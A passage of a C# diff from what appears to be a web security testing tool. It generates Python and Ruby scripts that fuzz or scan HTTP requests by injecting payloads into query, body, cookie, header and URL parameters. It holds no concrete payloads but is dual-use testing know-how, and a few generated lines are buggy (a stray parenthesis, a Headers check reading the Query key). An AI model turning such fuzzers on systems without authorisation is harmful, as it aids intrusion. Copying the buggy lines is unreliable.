break; + } + } + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Py.AppendLine(); + Rb.AppendLine(); + + if (FuzzUseUiRB.Checked) + { + Py.AppendLine("#We display a GUI based wizard to user and get the Fuzzer setting from user."); + Py.AppendLine("f = Fuzzer.FromUi(req)"); + + Rb.AppendLine("#We display a GUI based wizard to user and get the Fuzzer setting from user."); + Rb.AppendLine("f = Fuzzer.FromUi(req)"); + } + else + { + Py.AppendLine("#We create a new Fuzzer to fuzz the request 'req'"); + Py.AppendLine("f = Fuzzer(req)"); + + Rb.AppendLine("#We create a new Fuzzer to fuzz the request 'req'"); + Rb.AppendLine("f = Fuzzer.new(req)"); + + if (FuzzInjectionPoints.ContainsKey("UrlPathParts")) + { + if (FuzzInjectionPoints["UrlPathParts"].Length == 0) + { + Py.AppendLine("#Select all UrlPathparts for injection"); + Py.AppendLine("f.InjectUrl()"); + + Rb.AppendLine("#Select all UrlPathparts for injection"); + Rb.AppendLine("f.inject_url"); + } + else + { + Py.AppendLine("#Select the UrlPathpart at specified positions for injection"); + Rb.AppendLine("#Select the UrlPathpart at specified positions for injection"); + foreach (string Position in FuzzInjectionPoints["UrlPathParts"]) + { + Py.AppendLine(string.Format("f.InjectUrl({0})", Position.Trim())); + + Rb.AppendLine(string.Format("f.inject_url({0})", Position.Trim())); + } + } + } + if (FuzzInjectionPoints.ContainsKey("Query")) + { + if (FuzzInjectionPoints["Query"].Length == 0) + { + Py.AppendLine("#Select all Query parameters for injection"); + Py.AppendLine("f.InjectQuery()"); + + Rb.AppendLine("#Select all Query parameters for injection"); + Rb.AppendLine("f.inject_query()"); + } + else + { + Py.AppendLine("#Select the specified Query parameters for injection"); + Rb.AppendLine("#Select the specified Query parameters for injection"); + foreach (string Parameter in FuzzInjectionPoints["Query"]) + { + Py.AppendLine(string.Format(@"f.InjectQuery(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"f.inject_query(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + if (FuzzInjectionPoints.ContainsKey("Body")) + { + switch(FuzzInjectedBodyType) + { + case ("Normal"): + if (FuzzInjectionPoints["Body"].Length == 0) + { + Py.AppendLine("#Select all Body parameters for injection"); + Py.AppendLine("f.InjectBody()"); + + Rb.AppendLine("#Select all Body parameters for injection"); + Rb.AppendLine("f.inject_body"); + } + else + { + Py.AppendLine("#Select the specified Body parameters for injection"); + Rb.AppendLine("#Select the specified Body parameters for injection"); + foreach (string Parameter in FuzzInjectionPoints["Body"]) + { + Py.AppendLine(string.Format(@"f.InjectBody(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"f.inject_body(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + break; + case ("Other"): + Py.AppendLine("#Inject values between the specified start and end marker"); + Py.AppendLine(string.Format(@"f.InjectBody(""{0}"", ""{1}"")", FuzzInjectionPoints["Body"][0].Replace("\"", "\\\""), FuzzInjectionPoints["Body"][1].Replace("\"", "\\\""))); + + Rb.AppendLine("#Inject values between the specified start and end marker"); + Rb.AppendLine(string.Format(@"f.inject_body(""{0}"", ""{1}"")", FuzzInjectionPoints["Body"][0].Replace("\"", "\\\""), FuzzInjectionPoints["Body"][1].Replace("\"", "\\\""))); + break; + case ("FormatPlugin"): + Py.AppendLine("#Specify the body format of the Request"); + Py.AppendLine(string.Format(@"f.BodyFormat = FormatPlugin.Get(""{0}"")", FuzzInjectedBodyFormatPlugin)); + + Rb.AppendLine("#Specify the body format of the Request"); + Rb.AppendLine(string.Format(@"f.body_format = FormatPlugin.get(""{0}"")", FuzzInjectedBodyFormatPlugin)); + + if (FuzzInjectionPoints["Body"].Length == 0) + { + Py.AppendLine("#Select all values for injection"); + Py.AppendLine("f.InjectBody()"); + + Rb.AppendLine("#Select all values for injection"); + Rb.AppendLine("f.inject_body"); + } + else + { + Py.AppendLine("#Select value at the specified positions for injection"); + Rb.AppendLine("#Select value at the specified positions for injection"); + foreach (string Parameter in FuzzInjectionPoints["Body"]) + { + Py.AppendLine(string.Format("f.InjectBody({0})", Parameter.Trim())); + + Rb.AppendLine(string.Format("f.inject_body({0})", Parameter.Trim())); + } + } + break; + } + + } + if (FuzzInjectionPoints.ContainsKey("Cookie")) + { + if (FuzzInjectionPoints["Cookie"].Length == 0) + { + Py.AppendLine("#Select all Cookie parameters for injection"); + Py.AppendLine("f.InjectCookie()"); + + Rb.AppendLine("#Select all Cookie parameters for injection"); + Rb.AppendLine("f.inject_cookie)"); + } + else + { + Py.AppendLine("#Select the specified Cookie parameters for injection"); + Rb.AppendLine("#Select the specified Cookie parameters for injection"); + foreach (string Parameter in FuzzInjectionPoints["Cookie"]) + { + Py.AppendLine(string.Format(@"f.InjectCookie(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"f.inject_cookie(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + if (FuzzInjectionPoints.ContainsKey("Headers")) + { + if (FuzzInjectionPoints["Query"].Length == 0) + { + Py.AppendLine("#Select all Header parameters for injection"); + Py.AppendLine("f.InjectHeaders()"); + + Rb.AppendLine("#Select all Header parameters for injection"); + Rb.AppendLine("f.inject_headers"); + } + else + { + Py.AppendLine("#Select the specified Header parameters for injection"); + Rb.AppendLine("#Select the specified Header parameters for injection"); + foreach (string Parameter in FuzzInjectionPoints["Headers"]) + { + Py.AppendLine(string.Format(@"f.InjectHeaders(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"f.inject_headers(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + + if (SessionPluginName.Length > 0) + { + Py.AppendLine("#Use a Session Plugin during Fuzzing"); + Py.AppendLine(string.Format(@"f.SessionHandler = SessionPlugin.Get(""{0}"")", SessionPluginName)); + + Rb.AppendLine("#Use a Session Plugin during Fuzzing"); + Rb.AppendLine(string.Format(@"f.session_handler = SessionPlugin.get(""{0}"")", SessionPluginName)); + } + } + + if (FuzzUseCustomLogSourceCB.Checked) + { + Py.AppendLine("#Set a custom source name for the Fuzzer logs"); + Py.AppendLine(string.Format(@"f.SetLogSource(""{0}"")", FuzzLogSourceValue)); + + Rb.AppendLine("#Set a custom source name for the Fuzzer logs"); + Rb.AppendLine("#Use a Session Plugin during Fuzzing"); + Rb.AppendLine(string.Format(@"f.set_log_source(""{0}"")", FuzzLogSourceValue)); + } + + if (FuzzUsePayloadsFromListRB.Checked) + { + Py.AppendLine(); + Rb.AppendLine(); + + Py.AppendLine("#Store the payloads in a list"); + Py.Append("payloads = ["); + + Rb.AppendLine("#Store the payloads in a list"); + Rb.Append("payloads = ["); + + for (int i = 0; i < this.FuzzPayloads.Length; i++) + { + string Payload = this.FuzzPayloads[i]; + + Py.Append("\""); Py.Append(Tools.EscapeDoubleQuotes(Payload)); Py.Append("\""); + Rb.Append("\""); Rb.Append(Tools.EscapeDoubleQuotes(Payload)); Rb.Append("\""); + + if (i < (this.FuzzPayloads.Length - 1)) + { + Py.Append(","); + Rb.Append(","); + } + } + Py.Append("]"); + Py.AppendLine(); + + Rb.Append("]"); + Rb.AppendLine(); + } + else + { + Py.AppendLine(); + Py.AppendLine("#Open the payloads file and load payload from it"); + Py.AppendLine(string.Format(@"p_file = open(""{0}"")", FuzzPayloadsFile.FullName.Replace("\\", "\\\\"))); + Py.AppendLine("payloads = []"); + Py.AppendLine("payloads_with_newline = p_file.readlines()"); + Py.AppendLine("p_file.close()"); + Py.AppendLine("for pwnl in payloads_with_newline:"); + Py.Append(" "); Py.AppendLine("payloads.append(pwnl.rstrip())"); + Py.AppendLine(); + + Rb.AppendLine(); + Rb.AppendLine("#Open the payloads file and load payload from it"); + Rb.AppendLine(string.Format(@"p_file = File.open(""{0}"")", FuzzPayloadsFile.FullName.Replace("\\", "\\\\"))); + Rb.AppendLine("payloads = []"); + Rb.AppendLine("payloads_with_newline = p_file.readlines"); + Rb.AppendLine("p_file.close"); + Rb.AppendLine("for pwnl in payloads_with_newline"); + Rb.Append(" "); Rb.AppendLine("payloads.push(pwnl.rstrip)"); + Rb.AppendLine("end"); + Rb.AppendLine(); + } + + Py.AppendLine("#Resets the fuzzer so that it is ready to start."); + Py.AppendLine("f.Reset()"); + Py.AppendLine(); + Py.AppendLine("#We go through a while loop till there are Fuzz or Injection points"); + Py.AppendLine("while f.HasMore():"); + Py.AppendLine("#We make the fuzzer go to the next injection point. On first run this command makes it point to the first injection point."); + Py.Append(" "); Py.AppendLine("f.Next()"); + + Rb.AppendLine("#Resets the fuzzer so that it is ready to start."); + Rb.AppendLine("f.reset"); + Rb.AppendLine(); + Rb.AppendLine("#We go through a while loop till there are Fuzz or Injection points"); + Rb.AppendLine("while f.has_more"); + Rb.AppendLine("#We make the fuzzer go to the next injection point. On first run this command makes it point to the first injection point."); + Rb.Append(" "); Rb.AppendLine("f.next"); + + + Py.Append(" "); Py.AppendLine("for payload in payloads:"); + Rb.Append(" "); Rb.AppendLine("for payload in payloads"); + if (FuzzPayloadEncodedYesRB.Checked) + { + Py.AppendLine(); + Py.AppendLine("#The payload is in Url encoded form so we decode it before injecting"); + Py.Append(" "); Py.AppendLine("payload = Tools.UrlDecode(payload)"); + + Rb.AppendLine(); + Rb.AppendLine("#The payload is in Url encoded form so we decode it before injecting"); + Rb.Append(" "); Rb.AppendLine("payload = Tools.url_decode(payload)"); + } + if (FuzzOriginalParameterAfterPayloadRB.Checked) + { + Py.AppendLine(); + Py.AppendLine("#The injected parameter's original value is added before the payload"); + Py.Append(" "); Py.AppendLine("payload = payload + f.PreInjectionParameterValue"); + + Rb.AppendLine(); + Rb.AppendLine("#The injected parameter's original value is added before the payload"); + Rb.Append(" "); Rb.AppendLine("payload = payload + f.pre_injection_parameter_value"); + } + else if (FuzzOriginalParameterBeforePayloadRB.Checked) + { + Py.AppendLine(); + Py.AppendLine("#The injected parameter's original value is added before the payload"); + Py.Append(" "); Py.AppendLine("payload = f.PreInjectionParameterValue + payload"); + + Rb.AppendLine(); + Rb.AppendLine("#The injected parameter's original value is added before the payload"); + Rb.Append(" "); Rb.AppendLine("payload = f.pre_injection_parameter_value + payload"); + } + Py.AppendLine(); + Py.AppendLine("#Inject the payload in the Request at the current injection point, send it to the server and get the response"); + Py.Append(" "); Py.AppendLine("res = f.Inject(payload)"); + Py.Append(" "); Py.AppendLine("if res.Code == 500:"); + Py.Append(" "); Py.AppendLine("#If the response code is 500 then inform the user"); + Py.Append(" "); Py.AppendLine(@"print ""Injecting - "" + payload + "" made the server return a 500 response"""); + Py.Append(" "); Py.AppendLine("if res.BodyString.count('error') > 0:"); + Py.Append(" "); Py.AppendLine("#If the response body contains the string 'error' then inform the user"); + Py.Append(" "); Py.AppendLine(@"print ""Injecting - "" + payload + "" made the server return an error message in the response"""); + + Rb.AppendLine(); + Rb.AppendLine("#Inject the payload in the Request at the current injection point, send it to the server and get the response"); + Rb.Append(" "); Rb.AppendLine("res = f.inject(payload)"); + Rb.Append(" "); Rb.AppendLine("if res.code == 500"); + Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then inform the user"); + Rb.Append(" "); Rb.AppendLine(@"puts ""Injecting - "" + payload + "" made the server return a 500 response"""); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("if res.body_string.index('error')"); + Rb.Append(" "); Rb.AppendLine("#If the response body contains the string 'error' then inform the user"); + Rb.Append(" "); Rb.AppendLine(@"puts ""Injecting - "" + payload + "" made the server return an error message in the response"""); + Rb.Append(" "); Rb.AppendLine("end"); + + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine("end"); + + ShowCode(Py.ToString(), Rb.ToString()); + } + + int ScanCurrentStep = 0; + Dictionary ScanInjectionPoints = new Dictionary(); + string[] ScanPayloads = new string[] { }; + string ScanInjectedBodyType = ""; + string ScanInjectedBodyFormatPlugin = ""; + + void ShowScanStep0Error(string Text) + { + this.ScanStep0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.ScanStep0StatusTB.Visible = false; + } + else + { + this.ScanStep0StatusTB.ForeColor = Color.Red; + this.ScanStep0StatusTB.Visible = true; + } + } + + void ShowScanStep1Error(string Text) + { + this.ScanStep1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.ScanStep1StatusTB.Visible = false; + } + else + { + this.ScanStep1StatusTB.ForeColor = Color.Red; + this.ScanStep1StatusTB.Visible = true; + } + } + + void ShowScanStep2Error(string Text) + { + this.ScanStep2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.ScanStep2StatusTB.Visible = false; + } + else + { + this.ScanStep2StatusTB.ForeColor = Color.Red; + this.ScanStep2StatusTB.Visible = true; + } + } + + private void ScanParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanParameterTypeGrid.SelectedRows == null) return; + if (ScanParameterTypeGrid.SelectedRows.Count == 0) return; + + ScanBodyTypeGB.Visible = false; + ScanAllParametersRB.Visible = false; + ScanAllParametersRB.Checked = true; + ScanListedParametersRB.Visible = false; + ScanParametersNameListLbl.Visible = false; + ScanParametersNameListTB.Visible = false; + ScanAddPointLL.Visible = false; + + foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) + { + if (Row.Index == ScanParameterTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + switch (Row.Cells[1].Value.ToString()) + { + case ("UrlPathParts"): + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = "Scan all UrlPathPart positions"; + ScanListedParametersRB.Text = "Scan only UrlPathPart positions listed below"; + ScanParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; + break; + case ("Query"): + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = "Scan all Query Parameters"; + ScanListedParametersRB.Text = "Scan only Query Parameters listed below"; + ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + case ("Body"): + ScanBodyTypeGrid.Rows.Clear(); + ScanBodyTypeGrid.Rows.Add(false, "Normal"); + foreach (string Name in FormatPlugin.List()) + { + ScanBodyTypeGrid.Rows.Add(false, Name); + } + ScanBodyTypeGrid.Rows.Add(false, "Other Unknown/Custom"); + ScanBodyTypeGrid.Visible = true; + + ScanBodyCustomMsgTB.Visible = false; + ScanBodyCustomStartLbl.Visible = false; + ScanBodyCustomStartTB.Visible = false; + ScanBodyCustomEndLbl.Visible = false; + ScanBodyCustomEndTB.Visible = false; + + ScanBodyTypeGB.Visible = true; + + break; + case ("Cookie"): + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = "Scan all Cookie Parameters"; + ScanListedParametersRB.Text = "Scan only Cookie Parameters listed below"; + ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + case ("Headers"): + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = "Scan all Header Parameters"; + ScanListedParametersRB.Text = "Scan only Header Parameters listed below"; + ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ScanBodyTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanBodyTypeGrid.SelectedRows == null) return; + if (ScanBodyTypeGrid.SelectedRows.Count == 0) return; + + ScanAllParametersRB.Visible = false; + ScanAllParametersRB.Checked = true; + ScanListedParametersRB.Visible = false; + ScanParametersNameListLbl.Visible = false; + ScanParametersNameListTB.Visible = false; + ScanAddPointLL.Visible = false; + + ScanBodyCustomMsgTB.Visible = false; + ScanBodyCustomStartLbl.Visible = false; + ScanBodyCustomStartTB.Visible = false; + ScanBodyCustomEndLbl.Visible = false; + ScanBodyCustomEndTB.Visible = false; + + foreach (DataGridViewRow Row in ScanBodyTypeGrid.Rows) + { + if (Row.Index == ScanBodyTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + if (Row.Index == 0) + { + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = "Scan all Body Parameters"; + ScanListedParametersRB.Text = "Scan only Body Parameters listed below"; + ScanParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + } + else if (Row.Index == ScanBodyTypeGrid.Rows.Count - 1) + { + ScanBodyCustomMsgTB.Visible = true; + ScanBodyCustomStartLbl.Visible = true; + ScanBodyCustomStartTB.Visible = true; + ScanBodyCustomEndLbl.Visible = true; + ScanBodyCustomEndTB.Visible = true; + ScanAddPointLL.Visible = true; + } + else + { + ScanAllParametersRB.Visible = true; + ScanListedParametersRB.Visible = true; + ScanParametersNameListLbl.Visible = true; + ScanParametersNameListTB.Visible = true; + ScanAddPointLL.Visible = true; + ScanAllParametersRB.Text = string.Format("Scan all {0} Values", Row.Cells[1].Value.ToString()); + ScanListedParametersRB.Text = string.Format("Scan only {0} Values at listed indexes", Row.Cells[1].Value.ToString()); + ScanParametersNameListLbl.Text = "Enter the zero-based index positions of values one per line:"; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ScanListedParametersRB_CheckedChanged(object sender, EventArgs e) + { + ScanParametersNameListTB.Enabled = ScanListedParametersRB.Checked; + } + + private void ScanAddPointLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ShowScanStep0Error(""); + + string ParameterType = ""; + string BodyType = ""; + string BodyFormatPlugin = ""; + string StartMarker = ScanBodyCustomStartTB.Text; + string EndMarker = ScanBodyCustomEndTB.Text; + string[] ParametersList = ScanParametersNameListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + + foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + ParameterType = Row.Cells[1].Value.ToString(); + break; + } + } + if (ParameterType.Equals("Body")) + { + foreach (DataGridViewRow Row in ScanBodyTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Index == 0) + { + BodyType = "Normal"; + } + else if (Row.Index == ScanBodyTypeGrid.Rows.Count - 1) + { + BodyType = "Other"; + } + else + { + BodyType = "FormatPlugin"; + BodyFormatPlugin = Row.Cells[1].Value.ToString(); + } + break; + } + } + } + + switch (ParameterType) + { + case ("UrlPathParts"): + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["UrlPathParts"] = new string[] { }; + } + else + { + foreach (string P in ParametersList) + { + try + { + Int32.Parse(P); + } + catch + { + ShowScanStep0Error("UrlPathParts position must be a number"); + return; + } + } + if (ParametersList.Length == 0) + { + ShowScanStep0Error("UrlPathParts positions list cannot be empty. Mention atleast one position."); + return; + } + ScanInjectionPoints["UrlPathParts"] = ParametersList; + } + break; + case ("Query"): + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["Query"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowScanStep0Error("Query parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + ScanInjectionPoints["Query"] = ParametersList; + } + break; + case ("Body"): + ScanInjectedBodyType = BodyType; + ScanInjectedBodyFormatPlugin = ""; + switch (BodyType) + { + case ("Normal"): + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["Body"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowScanStep0Error("Body parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + ScanInjectionPoints["Body"] = ParametersList; + } + break; + case ("Other"): + if (StartMarker.Length == 0 || EndMarker.Length == 0) + { + ShowScanStep0Error("Start or End markers cannot be empty."); + return; + } + if (StartMarker.Equals(EndMarker)) + { + ShowScanStep0Error("Start and End markers cannot be the same."); + return; + } + ScanInjectionPoints["Body"] = new string[] { StartMarker, EndMarker }; + break; + case ("FormatPlugin"): + ScanInjectedBodyFormatPlugin = BodyFormatPlugin; + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["Body"] = new string[] { }; + } + else + { + foreach (string P in ParametersList) + { + try + { + Int32.Parse(P); + } + catch + { + ShowScanStep0Error(string.Format("{0} values position must be a number", BodyFormatPlugin)); + return; + } + } + if (ParametersList.Length == 0) + { + ShowScanStep0Error(string.Format("{0} positions list cannot be empty. Mention atleast one position.", BodyFormatPlugin)); + return; + } + ScanInjectionPoints["Body"] = ParametersList; + } + break; + } + break; + case ("Cookie"): + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["Cookie"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowScanStep0Error("Cookie parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + ScanInjectionPoints["Cookie"] = ParametersList; + } + break; + case ("Headers"): + if (ScanAllParametersRB.Checked) + { + ScanInjectionPoints["Headers"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowScanStep0Error("Headers parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + ScanInjectionPoints["Headers"] = ParametersList; + } + break; + } + ScanBodyTypeGB.Visible = false; + ScanAllParametersRB.Visible = false; + ScanListedParametersRB.Visible = false; + ScanParametersNameListLbl.Visible = false; + ScanParametersNameListTB.Visible = false; + ScanAddPointLL.Visible = false; + + foreach (DataGridViewRow Row in ScanParameterTypeGrid.Rows) + { + Row.Cells[0].Value = false; + } + + UpdateSelectedScanInjectionPointsList(); + } + + void UpdateSelectedScanInjectionPointsList() + { + StringBuilder SB = new StringBuilder("Selected Injection Points:\r\n"); + if (ScanInjectionPoints.Count > 0) + { + foreach (string Section in ScanInjectionPoints.Keys) + { + SB.Append(Section); SB.Append(", "); + } + } + else + { + SB.Append("-"); + } + ScanSelectedParametersListTB.Text = SB.ToString().TrimEnd().TrimEnd(','); + } + + private void ScanStepZeroNextBtn_Click(object sender, EventArgs e) + { + string Error = CheckScanStep0Input(); + if (Error.Length == 0) + { + this.ScanCurrentStep = 1; + this.ScanBaseTabs.SelectTab(1); + } + else + { + ShowScanStep0Error(Error); + } + } + + string CheckScanStep0Input() + { + if (ScanInjectionPoints.Count == 0) + { + return "No injection points were selected. Select atleast one injection point before proceeding."; + } + return ""; + } + + private void ScanStepOnePreviousBtn_Click(object sender, EventArgs e) + { + this.ScanCurrentStep = 0; + this.ScanBaseTabs.SelectTab(0); + } + + private void ScanStepOneNextBtn_Click(object sender, EventArgs e) + { + string Error = CheckScanStep1Input(); + if (Error.Length == 0) + { + this.ScanCurrentStep = 2; + this.ScanBaseTabs.SelectTab(2); + } + else + { + ShowScanStep1Error(Error); + } + } + + string CheckScanStep1Input() + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) return ""; + } + return "No vulnerability checks were selected. Select atleast one check before proceeding."; + } + + private void ScanStepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.ScanCurrentStep = 1; + this.ScanBaseTabs.SelectTab(1); + } + + private void ScanBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (ScanBaseTabs.SelectedIndex != this.ScanCurrentStep) + ScanBaseTabs.SelectTab(this.ScanCurrentStep); + } + + private void ScanSessionPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanSessionPluginGrid.SelectedRows == null) return; + if (ScanSessionPluginGrid.SelectedRows.Count == 0) return; + + foreach (DataGridViewRow Row in ScanSessionPluginGrid.Rows) + { + if (Row.Index == ScanSessionPluginGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanPluginsGrid.SelectedRows == null) return; + if (ScanPluginsGrid.SelectedRows.Count == 0) return; + + if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; + ScanAllPluginsCB.Checked = false; + } + else + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + private void ScanResetBtn_Click(object sender, EventArgs e) + { + ScanInjectionPoints.Clear(); + UpdateSelectedScanInjectionPointsList(); + } + + private void ScanAllPluginsCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + Row.Cells[0].Value = ScanAllPluginsCB.Checked; + } + } + + private void ScanCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowScanStep2Error(""); + string SessionPluginName = ""; + + foreach (DataGridViewRow Row in ScanSessionPluginGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Index == 0) + { + SessionPluginName = ""; + } + else + { + SessionPluginName = Row.Cells[1].Value.ToString(); + } + break; + } + } + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Py.AppendLine(); + Rb.AppendLine(); + + + Py.AppendLine("#We create a new Scanner to Scan the request 'req'"); + Py.AppendLine("s = Scanner(req)"); + + Rb.AppendLine("#We create a new Scanner to Scan the request 'req'"); + Rb.AppendLine("s = Scanner.new(req)"); + + if (ScanInjectionPoints.ContainsKey("UrlPathParts")) + { + if (ScanInjectionPoints["UrlPathParts"].Length == 0) + { + Py.AppendLine("#Select all UrlPathparts for injection"); + Py.AppendLine("s.InjectUrl()"); + + Rb.AppendLine("#Select all UrlPathparts for injection"); + Rb.AppendLine("s.inject_url"); + } + else + { + Py.AppendLine("#Select the UrlPathpart at specified positions for injection"); + Rb.AppendLine("#Select the UrlPathpart at specified positions for injection"); + foreach (string Position in ScanInjectionPoints["UrlPathParts"]) + { + Py.AppendLine(string.Format("s.InjectUrl({0})", Position.Trim())); + + Rb.AppendLine(string.Format("s.inject_url({0})", Position.Trim())); + } + } + } + if (ScanInjectionPoints.ContainsKey("Query")) + { + if (ScanInjectionPoints["Query"].Length == 0) + { + Py.AppendLine("#Select all Query parameters for injection"); + Py.AppendLine("s.InjectQuery()"); + + Rb.AppendLine("#Select all Query parameters for injection"); + Rb.AppendLine("s.inject_query()"); + } + else + { + Py.AppendLine("#Select the specified Query parameters for injection"); + Rb.AppendLine("#Select the specified Query parameters for injection"); + foreach (string Parameter in ScanInjectionPoints["Query"]) + { + Py.AppendLine(string.Format(@"s.InjectQuery(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"s.inject_query(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + } + if (ScanInjectionPoints.ContainsKey("Body")) + { + switch (ScanInjectedBodyType) + { + case ("Normal"): + if (ScanInjectionPoints["Body"].Length == 0) + { + Py.AppendLine("#Select all Body parameters for injection"); + Py.AppendLine("s.InjectBody()"); + + Rb.AppendLine("#Select all Body parameters for injection"); + Rb.AppendLine("s.inject_body"); + } + else + { + Py.AppendLine("#Select the specified Body parameters for injection"); + Rb.AppendLine("#Select the specified Body parameters for injection"); + + foreach (string Parameter in ScanInjectionPoints["Body"]) + { + Py.AppendLine(string.Format(@"s.InjectBody(""{0}"")", Parameter.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"s.inject_body(""{0}"")", Parameter.Replace("\"", "\\\""))); + } + } + break; + case ("Other"): + Py.AppendLine("#Inject values between the specified start and end marker"); + Py.AppendLine(string.Format(@"s.InjectBody(""{0}"", ""{1}"")", ScanInjectionPoints["Body"][0].Replace("\"", "\\\""), ScanInjectionPoints["Body"][1].Replace("\"", "\\\""))); + + Rb.AppendLine("#Inject values between the specified start and end marker"); + Rb.AppendLine(string.Format(@"s.inject_body(""{0}"", ""{1}"")", ScanInjectionPoints["Body"][0].Replace("\"", "\\\""), ScanInjectionPoints["Body"][1].Replace("\"", "\\\""))); + break; + case ("FormatPlugin"): + Py.AppendLine("#Specify the body format of the Request"); + Py.AppendLine(string.Format(@"s.BodyFormat = FormatPlugin.Get(""{0}"")", ScanInjectedBodyFormatPlugin)); + + Rb.AppendLine("#Specify the body format of the Request"); + Rb.AppendLine(string.Format(@"s.body_format = FormatPlugin.get(""{0}"")", ScanInjectedBodyFormatPlugin)); + + if (ScanInjectionPoints["Body"].Length == 0) + { + Py.AppendLine("#Select all values for injection"); + Py.AppendLine("s.InjectBody()"); + + Rb.AppendLine("#Select all values for injection"); + Rb.AppendLine("s.inject_body"); + } + else + { + Py.AppendLine("#Select value at the specified positions for injection"); + Rb.AppendLine("#Select value at the specified positions for injection"); + foreach (string Parameter in ScanInjectionPoints["Body"]) + { + Py.AppendLine(string.Format("s.InjectBody({0})", Parameter.Trim())); + + Rb.AppendLine(string.Format("s.inject_body({0})", Parameter.Trim())); + } + } + break; + } + + } + if (ScanInjectionPoints.ContainsKey("Cookie")) + { + if (ScanInjectionPoints["Cookie"].Length == 0) + { + Py.AppendLine("#Select all Cookie parameters for injection"); + Py.AppendLine("s.InjectCookie()"); + + Rb.AppendLine("#Select all Cookie parameters for injection"); + Rb.AppendLine("s.inject_cookie)"); + } + else + { + Py.AppendLine("#Select the specified 